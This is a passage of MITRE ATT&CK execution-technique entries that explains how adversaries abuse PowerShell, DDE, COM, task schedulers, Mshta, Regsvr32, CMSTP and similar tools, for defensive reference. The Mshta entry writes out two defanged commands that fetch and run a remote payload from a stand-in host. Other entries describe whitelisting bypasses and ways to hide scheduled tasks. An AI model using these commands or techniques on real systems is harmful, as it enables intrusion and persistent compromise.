Malware Targets Macs)\nT1059.001 | PowerShell | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)\nT1559.002 | Dynamic Data Exchange | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\nT1559.001 | Component Object Model | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\nT1559 | Inter-Process Communication | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\nT1053.003 | Cron | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). \nT1053.004 | Launchd | This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.\nT1053.001 | At (Linux) | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1053.005 | Scheduled Task | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) \nT1053.002 | At | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\nT1223 | Compiled HTML File | Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)\nT1204 | User Execution | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)\nT1196 | Control Panel Items | Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.\nT1191 | CMSTP | The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)\nT1203 | Exploitation for Client Execution | Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\nT1175 | Component Object Model and Distributed COM | **This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\nT1170 | Mshta | Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\nT1177 | LSASS Driver | The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\nT1173 | Dynamic Data Exchange | Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\nT1152 | Launchctl | Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\nT1168 | Local Job Scheduling | On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\nT1151 | Space after Filename | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\nT1153 | Source | **This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\nT1154 | Trap | The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)\nT1155 | AppleScript | macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".\nT1129 | Shared Modules | Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.\nT1121 | Regsvcs/Regasm | Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\nT1118 | InstallUtil | InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)\nT1117 | Regsvr32 | Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)\nT1106 | Native API | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).\nT1086 | PowerShell | PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: 